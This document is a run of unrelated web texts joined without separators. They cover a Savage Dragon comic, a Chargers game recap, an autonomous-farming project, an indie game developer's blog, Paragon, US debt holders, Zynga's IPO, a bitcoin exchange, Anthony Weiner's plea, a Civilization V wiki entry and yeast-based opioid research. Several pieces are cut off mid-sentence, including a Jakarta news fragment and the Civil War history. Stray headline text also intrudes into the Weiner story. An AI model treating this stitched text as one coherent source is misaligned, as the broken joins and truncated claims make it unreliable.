Savage Dragon has been published for twenty-five years. What can I say, you do mad things in your twenties…
Savage Dragon #222 (a third of the number of the beast) by Erik Larsen is published today.
About Rich Johnston Chief writer and founder of Bleeding Cool. Father of two. Comic book clairvoyant. Political cartoonist.
(Last Updated )
Related PostsSo much for our predictions and fears. Mike McCoy, Ken Whisenhunt and the San Diego Chargers offense did exactly what we hoped they would do, run the ball and win the time of possession battle. Actually, San Diego had the ball for over FORTY MINUTES of the sixty minute game. That helped keep the Chargers defense fresh, which didn't really matter....but the Eagles made enough mistakes on offense to give the Chargers a chance.
There was a scary moment early in the second half where Malcom Floyd took this hit...
Floyd ended up leaving the game on a stretcher and being taken to a local Philadelphia hospital. We'll update you when we hear more about his playing status, but the good news is that he's able to move his limbs and he's alert.
The MVPs of this game for the Chargers? Philip Rivers, Eddie Royal, Antonio Gates and the offensive line. Weird, I know.
Rivers finished 36/47 for 419 yards, 3 TDs and zero turnovers. Antoino Gates caught 8 passes for 124 yards, mostly on third down conversions. Eddie Royal caught 7 passes for 90 yards, including all three of Rivers' touchdown passes.
All in all, the plan worked to perfection. Even when Ryan Mathews and Antonio Gates fumbled away drives in the red zone, the offense never seemed to lose its rhythm.In a world-first, members of Harper Adams University engineering staff, supported and led by precision farming specialist Precision Decisions Ltd, are attempting to grow and harvest a hectare of cereal crops; all without stepping a foot into the field. The project entitled 'Hands Free Hectare' has recently got underway, with the team having to create their first autonomous farming machinery, ready for drilling a spring crop in March.
Kit Franklin, one of the researchers, said: "As a team, we believe there is now no technological barrier to automated field agriculture. This project gives us the opportunity to prove this and change current public perception. Previously, people have automised sections of agricultural systems, but funding and interest generally only goes towards one single area. We're hoping to string everything together to create one whole system, which will allow us to farm our hectare of cereal crop from establishment to harvest, without having to go into the field. We are confident that we are going to be successful implementing current open source technology, but obviously there is an element of risk. This is the first time in the world that this has been done but pushing boundaries is what engineering research is about. We will be using small-scale machinery that is already available on the market, and adapting these in the university's engineering labs ready for the autonomous field work. We will be drilling a spring crop in March. April to July will comprise crop husband activities with remote agronomy and autonomous application of required inputs and then harvesting in August and September."
On why this project is important, Kit added: "Automation is the future of farming. We're currently at a stage where farm machinery has got to unsustainable sizes. Over the years agricultural machines have been getting bigger increasing work rates. This has suited the UK's unpredictable climatic working windows and reduced rural staff availability. But with these larger machines, we are seeing a number of issues, including reduced soil health through compaction which hinders plant growth, as well as reduced application and measuring resolution, critical for precision farming, as sprayer and harvesting widths increase. Automation will facilitate a sustainable system where multiple smaller, lighter machines will enter the field, minimising the level of compaction. These small autonomous machines will in turn facilitate high resolution precision farming, where different areas of the field, and possibly even individual plants can be treated separately, optimising and potentially reducing inputs being used in field agriculture. It's not about putting people out of jobs; instead changing the job they do. The tractor driver won't be physically in the tractor driving up and down a field. Instead, they will be a fleet manager and agricultural analysts, looking after a number of farming robots and meticulously monitoring the development of their crops."
"The opportunity to convert our current experience of autosteer and precision agronomy solutions and embark on an autonomous solution is very exciting. Automation undoubtedly will become a large part of agriculture's future. By working with Harper Adams, the leading global centre for agricultural robotic research, this allows us to understand the challenges autonomous solutions bring and to develop new tools and services from this opportunity. What we learn from this experience is fundamental in allowing us to fulfil the needs of tomorrow`s farmer, to fully embrace the digital revolution we face today." The project's main partner is Precision Decisions Ltd. Clive Blacker, managing director and Hands Free Hectare project lead said:
Funding for the project is being provided through the Innovate UK - Satellites and agri-food competition. This competition is providing funding to projects aiming to improve the productivity of agri-food systems using satellite technology.
Source and top image: Harper Adams UniversityJAKARTA, Indonesia — A disoriented, |
- split screen co-op play for 1-4 players.
Co-op is really a blast to play. The chaos is maximal, and lots of funny situations arise when players try to navigate the situation and still work together as a team.
We look forward to more exploration of this design space together with our community in the coming months!
/johno
January 12, 2015
Space Beast Terror Fright Steam Greenlight Campaign
We have spent the past three days (and nights) working on a presentation of Space Beast Terror Fright, and we are happy to officially announce our Steam Greenlight campaign for the game.
There is brand new trailer for the game, as well as a "making of" feature that goes into a bit more depth. We hope you enjoy both!
Please support our Steam Greenlight campaign here!
Try the demo here!
/johno
January 5, 2015
Space Beast Terror Fright DEMO version released
It's very late (or very early), but I'm happy to announce the initial release of Space Beast Terror Fright. You can get it via the nornware launcher.
It's been a very busy couple of months, but I finally feel that the game is ready for people to try out. It's been really hard stay objective while writing code, chasing bugs, trying to improve performance, and managing an intern, but after a few weeks of Christmas vacation and some healthy procrastination / research into other projects I did a final push these past few days and got the thing out the door.
As it stands S.B.T.F. is probably a very very hard game for most people. This is partly due to the fact that I have been playing it for way to long to be able to tell exactly how hard it is, but also very much because it is intended to be hard. Among the numerous inspirations for this game is of course James Cameron's classic film Aliens, and I really wanted to try to capture the intensity of that movie and attempt to draw it out as much as possible. If you recall most characters died in that movie.
We are planning to put S.B.T.F. up on Steam Greenlight as soon as we can get some video material done; I want to do a philosphical presentation of the project that also gives some insight into what features are planned, as well as the ubiquitous gameplay video that Greenlight requires. Parallell to that stuff nornware is going to focus on a yet unannounced title for at least the coming month, both so we can clear our heads after crunching on S.B.T.F. while monitoring any feedback we get and also so that our intern Johan Angelison has a chance to work on another genre.
I'm feeling very good about nornware launcher as well, which was initially intended to facilitate updates to S.B.T.F. I quickly realized however that there was no cohesive point of access for all the free stuff that nornware has put out, and the fact that the launcher is so simple and unobtrusive made me feel like everything should just go through that pipeline. I know that some people don't like launchers / downloaders, but I have tried my best to make it as absolutely bare bones as possible; remember that the only reason it exists currently is to make it easier for us to get the latest and most bug free versions of the software to you.
Instructions are here, and you can read up our philosophy here.
/johno
September 14, 2014
Intern from The Game Assembly
I am very pleased to announce that we have been working with our very own intern Johan Angelison since September 1. Johan, who is a student at The Game Assembly, will be with nornware for 20 weeks, during which time our goal is to release at least Space Beast Terror Fright if not yet another title.
Welcome aboard Johan!
/johno
August 6, 2014
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Gaining Momentum
During the past six months or so, my main development focus has been shifting more and more to Space Beast Terror Fright. I feel that this project has some good traction and is something that could be completed in a reasonable amount of time.
Historically I've probably been one of my own greatest critics when it comes to my games. I tend to mess around with multiple projects at the same time before figuring out which one to commit to; I suppose this has much to do with me being an indie with zero budget. Space Beast Terror Fright has been starting to develop some personality lately, so I think that this will be the next project out the door for nornware.
Why Blueprints Failed
Since posting the last gameplay video I've been thinking a lot about the game on more of a meta level (stuff beyond the main run and gun action). The main changes in gameplay have revolved around experiments with having the downloads the player "collects" give something back in the form of some kind of improvement / gain / edge, given that the game is very punishing. Initially these were "blueprints for equipment" that the player could later purchase once the mission was complete, so there was the concept of credits and upgrades in an out-of-mission screen and a bit of choice and interaction there.
The main problem with the blueprints idea was that the game immediately became much harder, much slower, and much less fun. This was partly because of the fact that I "downgraded" the starting equipment from the state that was shown in the last gameplay video; among other things player no longer started with a motion tracker, which obviously made the game much harder. There was also a reduction to the sense of overall speed and a feeling that the things that you downloaded weren't worth the trouble.
I thought that the fact that the downloads now actually gave the player something useful would motivate walking around in an extremely hazardous environment and trying not to die. Not so; what I came to realize was that since the blueprints were only actually "usable" once you had survived the mission and also had enough credits to build / install the equipment they implied, it felt kind of slow and lame. Also since the player was so downgraded initially, it became much harder to even survive a single mission, rendering the blueprints themselves completely useless in many cases.
Risk vs Reward
That was pretty much a low point, since I felt that I had made the game worse than it had been before, and I was considering a big revert of the codebase. After some analysis however I realized that the strengths of the game really lie in the fact that the action is so fast and frantic. Based on that I started thinking about the game more in terms of something like Astro-Creeps Elite, which is really a classic arcade game that tries to kill you as fast as possible.
In arcade games like that, there is often the concept of risk-vs-reward when it comes to upgrades and powerups. The game will often present them to you, but they may be either only available for a limited time, be in a place that is hard to access, or a combination of both. Astro-Creeps Elite randomly spawns powerups from killed asteroids / Creeps, and the main risk is the fact that you have to maneuver your ship to the powerup to gain anything from it (unless you play with the Shootable Powerups option, but then there is still the risk of triggering a chain reaction that you didn't want...)
It wasn't really suprising in retrospect that Space Beast Terror Fright is based on the old arcade designs that I grew up playing (that's pretty much the type of game I tend to make), so applying the idea that risk should be rewarded immediately really worked. Since the game is so punishing and fast, risking yourself (standing still to get a download) should award you as soon as that download is complete. That is now the case, and that basic mechanism iteratively spawned the current crop of 27 upgrades (plus 4 ammo types), and the game feels even more intense than before with the added gain of the player being able to upgrade and find himself / herself in a much better tactical position.
There is also some character progression stuff going on, more on that as it develops.
Improved Visuals / A.I. adjustments
Other than the core gameplay getting better, I ended up putting a lot of effort into making the levels and graphics look better. I had already decided to use my Swörd technology to build the various parts of the levels, and that workflow has really delivered when it comes to being able to iterate and find a certain style. I am planning on having a large number of different level styles. Also there are normal maps now, and an experimental lighting system that lets the game be less pitch black.
The new lighting (parts of the level now emit light) really made things look better, but there was initially a big problem; when things are lit from othere sources than the player's light, you can now see aliens mucking about in the level at great distances. As the A.I. previously only detected you at the range of your light, the beasts started feeling kind of silly and stupid. I recently changed the A.I. to now start chasing the player at any distance once the beasts have line of sight, and this feels much better and more dangerous as well as "solving" the problem of you seeing aliens while they don't "see" you.
Another minor problem is that the level lighting system counteracts the effects of the normal maps / bump mapping, as there is no directional information in the lighting. I doubt that I will want to revert to no lights other than the player light, but Valve Software has solved this issue in the Source engine (which uses baked lightmaps) so I might be able to do something similar.
Oh yes, the beast character I'm using is purchased from 3drt.com. I think it is a nice interpolation between Giger's Alien and WarHammer 40k's GeneStealer, so I'm pretty happy with that. The model contains a bunch of animations that I haven't even used yet, so I'm probably going to milk that character some more before release.
/johno
November 3, 2013
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the above is a direct game capture using FRAPS,
no doctoring of any kind has been done
A First Look
I'm currently experimenting with procedural content in various ways in multiple projects. This game, Space Beast Terror Fright is sort of a James Cameron's Aliens meets Games Workshop / Space Hulk / WarHammer 40k meets Pac-Man meets RPG.
I'm not very much into horror games as such, especially games that intentionally disempower the player (when it comes to the ability to fight back) and / or "tell" the player to be scared. However, the whole feel of Cameron's Aliens is pretty much ubiquitous for me and many of my friends, and I've often wondered if it would be possible to recreate that same level of intensity (or even trump it) in ways that haven't been tried before.
The goal with SBTF is to create an intense and scary game that very deliberately tries to "boo" you / scare you "for real" with what you might call "cheap tricks". I did a major writeup on how all of this works, but I soon realized that I shouldn't be giving all my tricks away at this point. Suffice it to say that there are lots of subtle things going on behind the scenes to create this experience.
The latest development that I think works suprisingly well is the dynamic scoring system (as in musical scoring) which is a function of the action / intensity. Yes, the music is procedural, and I really think it helps to sell the "action movie" aspect of the experience. The music totally supports what is going on, every time, in a completely dynamic and responsive way.
I'm about to break determinism in my replay system, so I wanted to share this capture with you all before it breaks since it worked so well. It includes me getting lost at the end trying to find the airlock, running out of ammo and battery power for my light, and getting chased down a corridor to my death. Enjoy!
/johno
contact@nornware.com
c)2013 nornware ABEpic Games officially unveiled Paragon as a third person MOBA for PC & PS4 (with cross-play enabled) during the PSX 2015 conference.
Since then, we have reported on the game being F2P and online testing beginning in January. However, a few more interesting details have been shared by Epic in the past two days.
For instance, during a Twitch stream they confirmed to be aiming for 60FPS on PlayStation 4 while answering a question about volumetric lighting in Paragon. Senior Programmer Daniel Wright said:
That’s something that would be so cool to have, we would love to have that not just for Paragon but, you know, for the engine in general. It’s not on the plan right now, we’re focusing on 60FPS on console so that takes a lot of effort.
The hero characters that you have noticed in the trailer are also game ready assets, apparently, which should mean a very similar fidelity during gameplay.
There’s more, though. Epic’s PR Manager Nick Chester posted on Neogaf confirming that Paragon will allow PlayStation 4 players to use keyboard & mouse. However, he also added that the current top player within the team is using a controller (on PC).
We plan to support keyboard and mouse on PS4. That said, we have players on both platforms playing against one another, and there doesn’t appear to be any significant advantage to using either input device. Our top player plays on PC but uses a controller. 🙂
This isn’t a huge surprise for those who are aware of how Epic Games operates. In fact, the developer was one of the few to allow keyboard & mouse support for Unreal Tournament 3 on PlayStation 3.
Are you eager to test Paragon, Epic’s TPS/MOBA hybrid? Tell us in the comments.Editor's Note: The following piece comes from Global Post, which provides excellent coverage of world news – important, moving and odd.
By Tom Mucha, Global Post
Truth is elusive. But it's a good thing we have math.
Our friends at Business Insider know this, and put those two principles to work today in this excellent and highly informative little slideshow, made even more timely by the ongoing talks in Washington, D.C. aimed at staving off a U.S. debt default.
Here's the big idea:
Many people — politicians and pundits alike — prattle on that China and, to a lesser extent Japan, own most of America's $14.3 trillion in government debt.
But there's one little problem with that conventional wisdom: it's just not true. While the Chinese, Japanese and plenty of other foreigners own substantial amounts, it's really Americans who hold most of America's debt.
Here's a quick and fascinating breakdown by total amount held and percentage of total U.S. debt, according to Business Insider:
Hong Kong: $121.9 billion (0.9 percent)
Caribbean banking centers: $148.3 (1 percent)
Taiwan: $153.4 billion (1.1 percent)
Brazil: $211.4 billion (1.5 percent)
Oil exporting countries: $229.8 billion (1.6 percent)
Mutual funds: $300.5 billion (2 percent)
Commercial banks: $301.8 billion (2.1 percent)
State, local and federal retirement funds: $320.9 billion (2.2 percent)
Money market mutual funds: $337.7 billion (2.4 percent)
United Kingdom: $346.5 billion (2.4 percent)
Private pension funds: $504.7 billion (3.5 percent)
State and local governments: $506.1 billion (3.5 percent)
Japan: $912.4 billion (6.4 percent)
U.S. households: $959.4 billion (6.6 percent)
China: $1.16 trillion (8 percent)
The U.S. Treasury: $1.63 trillion (11.3 percent)
Social Security trust fund: $2.67 trillion (19 percent)
So America owes foreigners about $4.5 trillion in debt. But America owes America $9.8 trillion.
For a smart take on how President Obama and House Republicans should end gridlock over debt and deficits, see our new GlobalPost series The Negotiator, which features Wharton's negotiation guru Stuart Diamond.
And to bone up on China's debt — another potentially big global economic headache — check out this interview with brainy-yet-coherent Northwestern University economist Victor Shih, who spoke with GlobalPost's David Case.SAN FRANCISCO (MarketWatch) — Zynga Inc. on Friday saw how fickle the stock market can be as the social-media game firm’s shares finished the session with a loss of 5% on the company’s first day of public trading.
Zynga ZNGA, -0.60% gave up 50 cents a share, or 5%, to close at $9.50 after earlier rising as much as 11.5% following the stock debut. The company sold 100 million shares and raised $1 billion late Thursday after initially setting a price range of $8.50 to $10 a share for its IPO.
The shares immediately became the most actively traded on the Nasdaq Composite Index COMP, -0.79% with volume of more than 116 million shares. Read more about Zynga’s IPO in Rex On Techs column.
Zynga is best known for its online games such as “FarmVille,” “CityVille” and “Mafia Wars 2,” as well as its relationship with Facebook, through which more than 90% of Zynga’s game-playing traffic is believed to be generated.
The debut is the latest in a string on companies involved in social media to go public this year; others include professional-networking service LinkedIn Corp. LNKD Internet-radio company Pandora Media Inc. P, +0.00% and daily-deal site Groupon Inc. GRPN, +0.61%
Those companies saw mixed results on their first days of trading.
LinkedIn opened at $83 a share, rose as high as $122.69 then finished its first day as a public company at $94.25.
Pandora started trading at $20 a share, hit a high point of $26 but then closed at $17.42.
Groupon began its first public day of trading at $28 a share, rose to $31.14 and closed at $26.11.Bitsquare Beta Release: The Dawn of DAO Bitcoin Exchanges?
The decentralized cryptocurrency exchange Bitsquare (Bitsquare.io) has released its beta preview via Github on April 22. The official beta release will be launched during the Fab Lab in Barcelona on April 27 after three months of “extensive testing.” Founder of the exchange Manfred Karrer believes the platform is “ripe for a wider audience.”
Also read: ETF Queen Moriarty Takes on SEC for Bitcoin
Bitsquare: Decentralized Exchange & DAO
Karrer has been working on the open source decentralized Bitcoin exchange for quite some time, and the beta release is almost ready. The latest version of Bitsquare will be shown by the founder to European cryptocurrency communities within fifteen cities at local meetups and conferences. The project is open source for public view and will be an exchange like no other because it doesn’t rely on a centralized entity. Karrer has released a preview of the 0.4.3 version for the public to get a sneak peek at what’s in store for the future.
Bitcoin could be traded on the Bitsquare platform alongside additional altcoins in a decentralized manner. Some of the altcoins included will be NEM, Anti.cash, VPNCoin, MaidSafeCoin, YbCoin, VeriCoin, EverGreenCoin, CloakCoin, and Espers. Karrer tells us at Bitcoin.com that this exchange will “follow the core principles of Bitcoin” by decentralizing every aspect of the project. The developer says there’s been a lot of dedicated time and effort to improve infrastructure, storage, communication, development, and arbitration within the system.
The Bitsquare founder states:
Bitsquare is the first decentralized, open, secure and transparent Bitcoin exchange with privacy by design.— Bitsquare is not a company. Rather, it is implemented as a Decentralized Autonomous Organization (DAO) with distributed ownership based on participation in the project.
Eliminating the Honeypot
The Bitcoin community is excited about this release as it could correct the mistakes of some defunct exchanges. Failures of exchanges such as Mt. Gox, Mintpal, and Cryptsy could be avoided by eliminating the central storage of user data and funds known as a “honeypot” for hackers.
Karrer says all exchanges today have issues with censorship and central points of failure or control. With Bitsquare, the primary objective is decentralization all the way to the core foundations of the project.
Bitsquare will require no registration or identification process when people use the exchange. Communication over the network is end-to-end encrypted and routed over the Tor platform. Most importantly, unlike cryptocurrency exchanges that currently exist today, the service never holds user data or funds. When using the application, the platform offers three levels of protection, which include:
Security deposits
2-of-3 multi-signature escrow address protocol
Decentralized arbitration system
Bitcoin.com has been following the Bitsquare and other projects such as OpenLedger closely and looks forward to decentralized exchanges becoming the new norm that should strengthen the security of the Bitcoin ecosystem.
What do you think about Bitsquare’s beta preview? Let us know in the comments below.
Images courtesy of the Bitsquare.io websiteFormer Rep. Anthony Weiner (D-N.Y.) will plead guilty in a federal court Friday to sexting with a 15-year-old girl, The New York Times reported.
Weiner is facing a single charge of transmitting obscene material to a minor. The former Democratic lawmaker and husband to top Hillary Clinton Hillary Diane Rodham ClintonREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails County GOP in Minnesota shares image comparing Sanders to Hitler Holder: 'Time to make the Electoral College a vestige of the past' MORE aide Huma Abedin surrendered to FBI agents Friday morning, the report said.
Investigators say Weiner, then 51, began exchanging illicit text messages with a 15-year-old girl in North Carolina in January 2016. According to Weiner's plea, the conduct occurred between January and March.
The charge carries a sentence of up to 10 years, but Weiner could escape prison time if a judge rules in his favor.
ADVERTISEMENT
The Daily Mail first reported Weiner's sexual messages with the girl in September. At the time, Weiner and those closest to him blamed the messages on a "hoax." But he did offer an apology for his actions.
“I have no one to blame but me for putting myself in this position. I am sorry," Weiner said at the time.
Weiner's investigation has been blamed in part for Hillary Clinton's 2016 loss to President Trump. A little more than a week before the election, then-FBI Director James Comey sent a letter to Congress announcing that he was renewing the FBI's investigation into Clinton's use of a private email server after a new trove of classified materials was found on Weiner's hard drive, apparently sent there by Abedin, Clinton's longtime assistant and Weiner's wife.
In March, Abedin announced that she and Weiner were "working hard" on their marriage, despite their separation.American
Introduced in Vanilla Leader Washington Unique units B17 (replaces Bomber)
Minuteman (replaces Musketman) Unique building None Ability Manifest Destiny: All land military units have +1 sight
50% discount when purchasing tiles Starts bias None Language spoken American English
The American people represent a civilization in vanilla Civilization V.
Symbol: Stylized shield with three stars and three white stripes (based on the design of the American flag)
Stylized shield with three stars and three white stripes (based on the design of the American flag) Musical Theme: America the Beautiful (composed by Michael Curran, orchestrated by Geoff Knorr)
America the Beautiful (composed by Michael Curran, orchestrated by Geoff Knorr) Music Set: European
European Architecture: European
European Spy Names: Cousin, Felix, Dennis, Edward, Prof. Rex, Eliza, Mary, Virginia, Scarlett, Barbara
Cousin, Felix, Dennis, Edward, Prof. Rex, Eliza, Mary, Virginia, Scarlett, Barbara Preferred Religion: Christianity ( ) or Protestantism ( )
Christianity ( ) or Protestantism ( ) Preferred Ideology: Freedom
Contents show]
Strategy
The unique abilities of the Americans aren't particularly interesting, or aimed at a particular victory type. The extra sight on units helps a lot with early scouting (because they're able to see farther than other units and thus spot Ancient Ruins and natural wonders more easily), and the reduced Gold price for purchasing tiles allows them to expand their borders more easily when needed - for example, when there's a particular resource tile they want right away. However, they still need Gold to purchase those tiles, and the natural border expansion remains unchanged, which makes the similar ability of the Shoshone civilization much more useful.
The Americans become very powerful only in the middle and late game, thanks to their unique units. First, the Minuteman, available in the early Renaissance Era, is the most mobile infantry unit in the whole game, able to move like a Scout through any terrain and thus reach good positions well ahead of the enemy army. This nicely complements its free Drill I promotion, making the Minuteman a formidable force in rough terrain. The Woodsman promotion and Altitude Training (Mt. Kilimanjaro effect) stack with its ability for double normal (open terrain) speed in wooded and hilly terrain, respectively. If that is not enough, with each kill, it contributes Golden Age counter points equal to the attack CS of its enemy. All of these promotions and great abilities transfer on upgrade, continuing to give the Americans an important edge in later conflicts!
Their second unique unit, the B17, becomes available early in the Atomic Era. It is far more powerful than the the standard Bomber it replaces, and demonstrates well modern American military dominance. It comes with extra strength (70 vs. 65) and two free promotions that transfer when it is upgraded to a Stealth Bomber, Siege I and Evasion. (Note that all Stealth Bombers receive the free Evasion promotion.)
Civilopedia Entry
History
The United States of America is a world "super-power" (which more or less means that it is vital to the world economy and balance of power). A relatively young civilization, the United States formed in the 18th century, nearly self-destructed in the 19th century, and became the most powerful and dominant military, technological, cultural and economical civilization in the 20th.
Geography and Climate
The United States spans the continent of North America and includes Alaska in the far north and several islands in the Pacific Ocean. Conditions vary widely across the country, from near-Arctic in Alaska to near-tropic conditions in Florida, to arid desert in Arizona. The continent is bisected by two mountain ranges, the older and lower Appalachians in the east, and the much younger and bigger Rockies in the west. The central plains between the two ranges drain into the Gulf of Mexico via the Missouri/Mississippi River system. The country borders on the Great Lakes, some of the largest freshwater bodies of water on the planet.
Despite several centuries of enthusiastic harvesting, the United States still has plentiful forests, coal supplies and other natural resources.
The Native Americans
Some historians hypothesize that North America was originally settled by Eurasian people who migrated onto the continent via the "Beringia" land-bridge that once connected Alaska and Russia. This theory is under debate, and even more so is the question of how many waves of settlers there were and when the first settlers arrived. There appears to be some agreement that the natives migrated between 9,000 and 50,000 years ago (which is quite a spread). It's also quite possible that the natives arrived in a series of waves over many years, with some groups migrating south along the western coastline, while later groups moved inland, into the heart of Canada and the United States.
Over time these groups spread across the continents, developing language, hunting skills, arts and crafts, and so forth. They did not domesticate horses, however (having consumed all of the horse's ancestors before figuring out that they might be good for something else).
Estimates on how many natives lived in the portion of North America that would eventually become the United States also vary, ranging from five to twenty-five million. In any event, the first European visitors brought with them a number of extremely unpleasant diseases (like measles and smallpox) that the natives' immune systems were totally unaccustomed to, and 90 percent or even more of the North American native population died from disease within a century of the first white man's arrival.
Having lost 90% of their population, lacking guns or any significant industrial technology, the natives were relatively helpless in the face of massive European assault.
Enter the Europeans
Four European groups set up colonies in North America, beginning in the 16th century: the French in Canada, the British (with a small settlement of Dutch right in the center), and the Spanish in Florida and points south. Over time the English would conquer the French colonies to the north and the Dutch colony at Manhattan, and with the exception of Florida, the entire eastern seaboard would be English. As discussed above, the native population was ravaged by disease and badly outgunned, unable to resist the European incursion.
The American Revolution
As the 18th century progressed, the British colonies in North America grew and prospered. Immigrants from Great Britain and elsewhere arrived in the country in great numbers, drawn by the promise of land, wealth, and often to escape religious persecution in the mother country. The slave trade provided plenty of cheap labor, and British North America began to establish agriculture and light industry.
Tensions grew between the colonies and the British government as the century progressed. The colonies were controlled by Crown-appointed governors and they did not have direct representation in the British Parliament. Further, the colonials chafed under what they considered to be unfair trade restrictions from Great Britain. Meanwhile, the government thought that the colonials were in large ungrateful rabble who had no idea how much money the Crown was spending on their protection.
By the late 1770s the American colonies were in open revolt, and on July 4, 1776 the United States declared their independence. As the war opened the Colonists were grossly outgunned and outmanned by the highly trained British Army, particularly since the British Navy had absolute control of the seas and thus could move large numbers of troops up and down the coast with impunity. The Continental Army, untrained and untested, was no match for the "Redcoats." The British Were Allies of the Native Americans known as the Iroquois League Which led to a battle called Cherry Valley Massacre in November 1778.
George Washington
The commander of the Continental Army was George Washington, a wealthy Virginia landowner with some military experience as a colonel in the British army in the French and Indian War. His first major battles were nearly catastrophes - his overly-complex battle-plans collapsed in the face of enemy action and his troops' inexperience. Washington had several important qualities: his personal heroism and calm in the face of disaster allowed him to extract his army from almost certain destruction, and he also learned quickly from his mistakes (for more on George Washington, see his Civilopedia entry).
The Redcoats having failed to crush the Continental Army when it had the chance, the American Revolutionary War became a long, drawn-out, grinding war of wills. The British Army couldn't pin down the American forces long enough to defeat them, and as the years passed British war-weariness grew.
In 1778 the French entered the war on the side of the United States, and in 1779 so did Spain. While unable to match the British Navy ship for ship the French were occasionally able to gain local superiority, and this proved decisive. In 1781 the Continental Army besieged the British Army at Yorktown, Virginia. With the French Navy off-shore the British were unable to escape, and British General Cornwallis surrendered to Washington on October 19, 1781.
In 1787 the states convened a Constitutional Convention, and the new Constitution was ratified the next year. In 1789 George Washington was elected president.
The Louisiana Purchase
In 1803 the United States purchased 828,800 square miles of North American territory from France. This territory included most of the terrain in the Mississippi Valley, from the Rocky Mountains in the west to Ohio in the east. This deal, which doubled the size of the United States, cost around $15,000,000, a shockingly good deal for the US. It was also a good deal for France: France was at war with Great Britain (see below), and as the British controlled the seas, the French had no way to profit from or to protect this territory from the British. The French also saw it as a poke in Britain's eye.
French leader Napoleon Bonaparte said of the deal, "This accession of territory affirms forever the power of the United States. I have given England a maritime rival who will sooner or later humble her pride." President Thomas Jefferson received a good deal of criticism for the purchase at the time, but historians tend to agree that he got one really great bargain.
The War of 1812
As the eighteenth century opened, France was convulsed in its own revolution. Many Americans believed that France would become a democracy, but instead Napoleon Bonaparte emerged as ruler and within a few years had himself declared emperor. As Napoleon extended his power across continental Europe, Great Britain countered with its unmatchable navy, imposing an embargo on trade with France and at times most of the rest of Europe. This hurt American commerce deeply. Further, British warships routinely stopped and searched American vessels looking for deserted British sailors. This was considered an intolerable breach of American sovereignty, and in 1812 the United States declared war on Great Britain. (Some historians believe that the US declared war primarily to justify a land-grab of British possession Canada.)
The primary American weapon in this war was the commerce raiding vessel. Small to mid-sized American ships plied the oceans, snatching up British merchant ships, strangling British trade. On land the Americans launched an invasion of Canada, which the British and Canadian forces repelled without great difficulty. The British navy, stretched thin by the decade-old conflict with France, found it almost impossible to blockade the American coast or track down its commerce raiders. It was far more successful on land, and in fact a British army fought its way to Washington, DC, the American capital, and burned much of it to the ground.
Despite this stinging blow to American pride, the British and American governments both realized that neither had much of a chance of winning the war, and that further conflict would merely expend valuable treasure and lives to no purpose. In December 1814 the two countries signed the "Treaty of Ghent," which simply called for the cessation of hostilities: neither side gained or lost territory, and none of the root causes of the war were addressed. The war was a tie.
The Mexican-American War
In 1835, Mexican President Antonio Lopez de Santa Anna abolished the Mexican constitution, replacing it with a new constitution that concentrated power in the Mexican central government. Several Mexican states revolted at that time, including the state of Coahuila y Tejas (which included the territory that would become Texas). Despite early successes (including the capture of the Alamo fort), eventually Santa Anna was defeated and captured. Bargaining from this position of extreme weakness, Santa Anna grudgingly agreed to Texan independence.
The Mexican government deposed Santa Anna while he was captive and disavowed the treaty. Low-level fighting continued between the new "Republic of Texas" and Mexico, while parties in Texas and the United States schemed for ways to get Texas into the Union. In 1845 the American Congress passed a bill that would allow the US to annex Texas, and then president John Tyler signed it into law. At the same time, Mexico saw an influx of other American citizens into its northern territories (including California), some of whom openly avowed that they were going to take those into the US as well. Late in 1845 Texas was made into a state, and in 1846 American troops were occupying the disputed territory. When Mexican cavalry clashed with an American patrol, killing 11 soldiers, the US government used that as an excuse to declare war.
The war was short and decisive. After a few opening skirmishes in Texas and northern Mexico, an American army of some 12,000 soldiers landed at Veracruz, Mexico, and marched west. The Mexican army was defeated at every turn, and in short order United States troops occupied Mexico City. Defeated, the Mexican government signed the Treaty of Guadalupe Hidalgo, ceding to the United States the land that would become the states of Texas, New Mexico, Arizona, California, Nevada, and parts of Wyoming, Oklahoma and Colorado. In return the US paid Mexico $18,250,000, or roughly half a billion in today's dollars.
In addition to annexing large chunks of valuable land from Mexico, the war had one other benefit: it taught a number of American soldiers their craft. These men would use these skills to great effect fifteen years later in the American Civil War.
The American Civil War
As the nineteenth century progressed, the United States was divided roughly in half between slave states in the south and free states in the north. The South, which had an agrarian economy, needed cheap labor to work the fields. Slaves were far less useful in the North, which had a growing industrial base and access to plenty of cheap labor from Europe. Further, slavery had woven itself into the fiber of Southern life to the extent that many found the concept of "abolition" abhorrent, inconceivable, and (by an extremely twisted interpretation of the Bible) a grave sin. The South framed the issue in terms of "states rights," beliving the Federal government had no constitutional right to meddle in internal conditions in states. It was the slavery issue that made this question so explosive. Many Northerners opposed slavery, considering it totally evil - the country's original sin.
By the 1850s the situation had become intolerable. Tensions between the North and South were at an extremely high point, and the 1860 election of the moderately anti-slavery candidate Abraham Lincoln started a sequence of events which led inexorably to Southern secession and civil war.
The war started very badly for the Union (the North). The Confederacy (South) had a stronger military tradition than the North, and most of the country's best officers came from southern states and felt bound to protect their homes from Northern invasion, no matter how they felt personally about the cause of the war. Further, the South was entirely on the defensive, and it's far more difficult for an untrained army to attack than it is to |
already spent a decade genetically engineering yeast cells to reproduce the biochemistry of poppies with the ultimate goal of producing opium-based medicines, from start to finish, in fermentation vats.
"We are now very close to replicating the entire opioid production process in a way that eliminates the need to grow poppies, allowing us to reliably manufacture essential medicines while mitigating the potential for diversion to illegal use," said Smolke, who outlines her work in the August 24th edition of Nature Chemical Biology.
In the new report Smolke and her collaborators, Kate Thodey, a post-doctoral scholar in bioengineering, and Stephanie Galanie, a doctoral student in chemistry, detail how they added five genes from two different organisms to yeast cells. Three of these genes came from the poppy itself, and the others from a bacterium that lives on poppy plant stalks.
This multi-species gene mashup was required to turn yeast into cellular factories that replicate two, now-separate processes: how nature produces opium in poppies, and then how pharmacologists use chemical processes to further refine opium derivatives into modern opioid drugs such as hydrocodone.
From Plants to Pills Today
Plant-derived opium has been used and abused for centuries, but a good place to begin the modern story is with the use of morphine during World War II.
Morphine is one of three principal pain killers derived from opium. As a class they are called opiates. The other two important opiates are codeine, which has been used as a cough remedy, and thebaine, which is further refined by chemical processes to create higher-value therapeutics such as oxycodone and hydrocodone, better known by brand names such as OxyContin and Vicodin, respectively.
Today legal poppy farming is restricted to a few countries--including Australia, France, Hungary, India, Spain and Turkey--supervised by the International Narcotics Control Board, which seeks to prevent opiates like morphine, for instance, from being refined into illegal heroin.
